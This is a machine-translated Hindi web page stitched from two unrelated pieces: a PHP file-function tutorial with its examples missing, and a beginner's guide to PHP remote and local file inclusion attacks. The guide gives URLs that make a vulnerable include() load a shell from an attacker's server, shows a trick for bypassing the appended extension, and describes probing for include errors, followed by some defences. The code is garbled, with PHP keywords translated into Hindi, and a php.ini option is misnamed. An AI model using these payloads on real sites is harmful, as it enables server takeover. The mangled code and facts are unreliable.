  • w - केवल लिखने के लिए एक नई फ़ाइल बनाता है। यदि समान नाम वाली फ़ाइल पहले से मौजूद है, तो उसमें मौजूद सभी डेटा स्वचालित रूप से हटा दिया जाता है;
  • w+ - लिखने और पढ़ने के लिए एक नई फ़ाइल बनाता है। जब ऐसी कोई फ़ाइल मौजूद होती है, तो उसका डेटा पूरी तरह से नए से अधिलेखित हो जाता है;
  • ए - फ़ाइल लिखने के लिए खुली है। सूचक अंत में सेट है. अर्थात्, php फ़ाइल में लिखना प्रारंभ से नहीं, बल्कि अंत से प्रारंभ होगा;
  • a+ - फ़ाइल को रीड-राइट मोड में खोलें। रिकॉर्डिंग अंत से शुरू होगी;
  • बी - बाइनरी डेटा वाली फ़ाइल के साथ काम करने का तरीका (बाइनरी नंबर सिस्टम में)। यह मोड केवल विंडोज़ ऑपरेटिंग सिस्टम पर उपलब्ध है।

किसी फ़ाइल तक पहुंच बंद करने के लिए, fclose() फ़ंक्शन का उपयोग करें। सिंटेक्स:

int fclose (int फ़ाइल), जहां int फ़ाइल साइट को बंद करने के लिए एक हैंडल है।

प्रत्येक पढ़ने या लिखने के बाद, फ़ाइल को इस फ़ंक्शन के साथ बंद किया जाना चाहिए। अन्यथा, फ़ाइल के लिए बनाई गई स्ट्रीम खुली रहती है। और इससे सर्वर क्षमता की अनावश्यक खपत होती है।

उदाहरण:

फ़ाइलें पढ़ना और लिखना

किसी फ़ाइल की संपूर्ण सामग्री को आसानी से प्रदर्शित करने के लिए, रीडफ़ाइल() फ़ंक्शन आदर्श है। इसका सिंटैक्स है:

रीडफाइल (स्ट्रिंग फ़ाइल नाम), जहां स्ट्रिंग फ़ाइल नाम स्ट्रिंग फ़ाइल नाम है (हैंडल नहीं)।


उसी फ़ाइल को fpassthru() फ़ंक्शन का उपयोग करके पढ़ा जा सकता है। यह अंतिम सूचक स्थिति से फ़ाइल के अंत तक डेटा पढ़ता है। इसका सिंटैक्स है:

int fpassthru (int फ़ाइल)

फ़ंक्शन के लिए फ़ाइल खोलने और बंद करने की आवश्यकता होती है। उदाहरण:

परिणाम पिछले वाले के समान है.

PHP में फ़ाइलों के साथ काम करने के फ़ंक्शन आपको सामग्री को पंक्ति दर पंक्ति और वर्ण दर वर्ण पढ़ने की अनुमति देते हैं:

  • स्ट्रिंग fgets (int फ़ाइल, int लंबाई)- फ़ंक्शन लंबाई length की एक स्ट्रिंग पढ़ता है। उदाहरण:

  • स्ट्रिंग फ़्रेड (int फ़ाइल, int लंबाई)- क्रिया पिछले वाले के समान है।

किसी फ़ाइल में टेक्स्ट डेटा लिखने के लिए, दो समान कार्य हैं:

  • int fputs (int फ़ाइल, स्ट्रिंग स्ट्रिंग [, int लंबाई])
  • int fwrite(int फ़ाइल, स्ट्रिंग स्ट्रिंग [, int लंबाई])

फ़ंक्शंस किसी फ़ाइल int फ़ाइल में निर्दिष्ट लंबाई int लंबाई की एक स्ट्रिंग स्ट्रिंग लिखते हैं ( वैकल्पिक तर्क). उदाहरण:

फ़ाइलें बनाना और हटाना

PHP फ़ाइल बनाने के लिए, आप "w" या "w+" एक्सेस मोड में fopen() फ़ंक्शन का उपयोग कर सकते हैं। या स्पर्श() फ़ंक्शन। यह फ़ाइल संशोधन समय निर्धारित करता है। यदि खोजे गए नाम के साथ कोई तत्व नहीं है, तो इसे बनाया जाएगा। इसका वाक्यविन्यास.

शुरुआती लोगों के लिए PHP इंजेक्शन की मूल बातें।​


पीएचपी इंजेक्शन(इंग्लैंड। PHP इंजेक्शन) - के बारे में PHP पर चलने वाली वेबसाइटों को हैक करने का एक तरीका सर्वर साइड पर विदेशी कोड निष्पादित करना है।संभावित रूप से खतरनाक कार्य हैं:
eval(),
preg_replace() ("ई" संशोधक के साथ),
एक बार आवश्यकता होती है(),
शामिल करें_एक बार(),
शामिल करना(),
ज़रूरत होना(),
create_function().

यदि इनपुट पैरामीटर स्वीकार किए जाते हैं और सत्यापन के बिना उपयोग किए जाते हैं तो PHP इंजेक्शन संभव हो जाता है।

विस्तार करने के लिए क्लिक करें...

(सी)विकी


मूल बातें।​

पीएचपी इंजेक्शन- यह किसी वेबसाइट पर हमले का एक रूप है जब हमलावर अपने PHP कोड को हमलावर PHP एप्लिकेशन में इंजेक्ट करता है।
यदि इंजेक्शन सफल होता है, तो हमलावर लक्ष्य सर्वर पर मनमाना (संभावित रूप से खतरनाक) PHP कोड निष्पादित कर सकता है। उदाहरण के लिए, खोल भरें. लेकिन पहले विस्तार से चर्चा करते हैं कि ऐसा कैसे होता है।

उदाहरण के लिए:
आइए कल्पना करें कि हमारे पास PHP में लिखी एक वेबसाइट है।
आइए यह भी कल्पना करें कि साइट कमांड का उपयोग करती है पेज=पेज.एचटीएमएलअनुरोधित पृष्ठ प्रदर्शित करने के लिए.
कोड इस तरह दिखेगा:

$फ़ाइल = $_GET ["पेज" ]; // प्रदर्शित पृष्ठ
सम्मिलित($फ़ाइल);
?>

इसका मतलब यह है कि पेज पर प्रदर्शित सभी चीजें उस पेज के PHP कोड में एम्बेड की जाएंगी। इसलिए, एक हमलावर कुछ ऐसा कर सकता है:

http: //www.attacked_site.com/index.php?page=http://www.attacked_server.com/malicious_script.txt?

यदि हम देखें कि शामिल निष्पादित होने के बाद क्या होता है, तो हम लक्ष्य सर्वर पर निम्नलिखित कोड निष्पादित देखते हैं:

$ फ़ाइल = "http://www.attack_server.com/malicious_script.txt?"; //$_GET["पेज"];
सम्मिलित($फ़ाइल); //$फ़ाइल एक हमलावर द्वारा इंजेक्ट की गई स्क्रिप्ट है
?>

हम देखते हैं कि हमलावर ने लक्ष्य सर्वर पर सफलतापूर्वक हमला किया है।

अधिक जानकारी:
तो, हमलावर PHP इंजेक्शन करने में सक्षम क्यों था?
सभी क्योंकि कार्य शामिल करना() आपको दूरस्थ फ़ाइलें चलाने की अनुमति देता है।

उदाहरण में एक्सटेंशन वाली स्क्रिप्ट क्यों निर्दिष्ट की गई थी? *।TXT , नहीं *.php ?
उत्तर सरल है, यदि स्क्रिप्ट में प्रारूप होता *.php , यह हमलावर के सर्वर पर चलेगा न कि लक्ष्य प्रणाली पर।

"प्रतीक" भी जोड़ा गया ? "फ़ंक्शन के अंदर कुछ भी हटाने के लिए इंजेक्टेड स्क्रिप्ट पथ में शामिल करना() लक्ष्य सर्वर पर.
उदाहरण:

$फ़ाइल = $_GET ["पेज" ];
include($file . ".php" );
?>

यह स्क्रिप्ट एक्सटेंशन जोड़ती है *.php आदेश द्वारा बुलायी गयी किसी भी चीज़ के लिए शामिल करना() .
वे।

http: //www.attack_server.com/malicious_script.txt

में बदल जाता हुँ

http: //www.attack_server.com/malicious_script.txt.php

स्क्रिप्ट इस नाम से नहीं चलेगी (फ़ाइल हमलावर के सर्वर पर मौजूद नहीं है /दुर्भावनापूर्ण_स्क्रिप्ट.txt.php)
इसलिए हम "?" जोड़ते हैं दुर्भावनापूर्ण स्क्रिप्ट के पथ के अंत तक:

http: //www.attack_server.com/malicious_script.txt?.php

लेकिन यह निष्पादन योग्य रहता है.

include() फ़ंक्शन की भेद्यता के माध्यम से PHP इंजेक्शन लगाना।​

आरएफआई - PHP इंजेक्शन के दौरान रिमोट शामिल


आरएफआई संचालित करने की क्षमता इंजनों में एक काफी सामान्य बग है।
आप इसे इस प्रकार पा सकते हैं:
मान लीजिए कि हम गलती से एक ऐसे पृष्ठ पर पहुँच जाते हैं जो ब्राउज़र के एड्रेस बार में इस प्रकार समाप्त होता है:

/अनुक्रमणिका। php? पृष्ठ = मुख्य

हम इसके स्थान पर स्थानापन्न करते हैं मुख्यउदाहरण के लिए, कोई भ्रमपूर्ण अर्थ उपयाचका

/अनुक्रमणिका। php? पेज = उपयाचका

जवाब में हमें एक त्रुटि प्राप्त होगी:

चेतावनी: मुख्य (upyachka. php): स्ट्रीम खोलने में विफल: लाइन 3 पर / होम / उपयोगकर्ता / www //page.php में ऐसी कोई फ़ाइल या निर्देशिका नहीं है

चेतावनी: मुख्य (upyachka. php): स्ट्रीम खोलने में विफल: / होम / उपयोगकर्ता / www / पृष्ठ में ऐसी कोई फ़ाइल या निर्देशिका नहीं है। php लाइन 3 पर

चेतावनी: मुख्य (): समावेशन के लिए "upyachka.php" खोलने में विफल (include_path = ".:/usr/lib/php:/usr/local/lib/php:/usr/स्थानीय/शेयर/नाशपाती") /home/user/www/page में। php लाइन 3 पर

इससे हमें पता चलता है कि समावेशन संभव है।
आइए स्थानापन्न करने का प्रयास करें उपयाचकाशेल के पथ वाली साइट (शेल फ़ाइल एक्सटेंशन को निर्दिष्ट नहीं किया जाना चाहिए, या इसे ऊपर बताए अनुसार इंगित नहीं किया जाना चाहिए)

http: //www.attacked_server.com/index.php?file=http://www.attack_site.com/shell

इस प्रकार शंख प्राप्त होता है। अब आपको साइट प्रशासक को भेद्यता के बारे में सूचित करना होगा ताकि वह इसे ठीक कर सके ताकि दुष्ट लोग बग का फायदा न उठा सकें।

एलएफआई - PHP इंजेक्शन के लिए स्थानीय शामिल


आइए कल्पना करें कि हम उसी असुरक्षित स्थल पर आए

/अनुक्रमणिका। php? फ़ाइल=मुख्य

कोड के साथ

..
शामिल करें ("फ़ोल्डर/ $पेज .htm" );

?>

यह पहले से ही एक स्थानीय समावेशन है. इस स्थिति में, केवल फ़ाइल सूचीकरण संभव है:

/अनुक्रमणिका। php? पृष्ठ =../ अनुक्रमणिका। पीएचपी

निम्नलिखित मामले में, कोड इस तरह दिखता है:

..
Include('$dir1/folder/page.php');

?>

इस स्थिति में, आप शेल का पथ इस प्रकार लिख सकते हैं:
एक फ़ोल्डर बनाएँ फ़ोल्डरउस वेबसाइट पर जहां शेल संग्रहीत है, शेल को इस फ़ोल्डर में छोड़ें:

http: //www.attack_site.com/folder/shell.php

इस मामले में इंजेक्शन इस तरह दिखेगा:

अनुक्रमणिका। php? dir1 = http : //www.site_attacker.com/

बचाव के तरीके


आइए स्क्रिप्ट देखें:

...

$ मॉड्यूल शामिल करें। ".php" ;
...
?>

यह स्क्रिप्ट वेरिएबल की सामग्री के कारण असुरक्षित है $मॉड्यूल बस अभी जोड़ा *.php और परिणामी पथ का उपयोग करके फ़ाइल लॉन्च की जाती है।

ऐसे हमले से बचाव के कई तरीके हैं:​


-जांचें कि $module वेरिएबल में बाहरी अक्षर हैं या नहीं:

...
$मॉड्यूल = $_GET ["मॉड्यूल" ];
अगर (strpbrk ($ मॉड्यूल, ".?/:" )) मरो ("अवरुद्ध");
$ मॉड्यूल शामिल करें। ".php" ;
...
?>

-जांचें कि $module को वैध मानों में से एक सौंपा गया है:
"/" , "" , $पेज ); // अन्य निर्देशिकाओं में जाने की क्षमता अवरुद्ध है।
यदि (फ़ाइल_मौजूद है ("फ़ाइलें/ $पेज .htm"))
{
शामिल करें('फ़ाइलें/$पेज.htm' );
}
अन्य
{
गूंज
"गलती" ;
}

?>

PHP दूरस्थ फ़ाइलों के उपयोग को अक्षम करने की क्षमता भी प्रदान करता है, यह php.ini कॉन्फ़िगरेशन फ़ाइल में follow_url_fopen विकल्प के मान को बंद में बदलकर किया जाता है।

वर्णित भेद्यता साइट के लिए एक उच्च खतरा पैदा करती है और PHP स्क्रिप्ट के लेखकों को इसके बारे में नहीं भूलना चाहिए।

लिखते समय, सामग्री से
विकिपीडिया,
विदेशी मंच सुरक्षा-sh3ll (spl0it) से,
एंटीचैट फोरम (ग्रीनबियर) से।
विशेष धन्यवाद बर्टऔर f02आपकी मदद के लिए,
समर्थन और अच्छी आलोचना)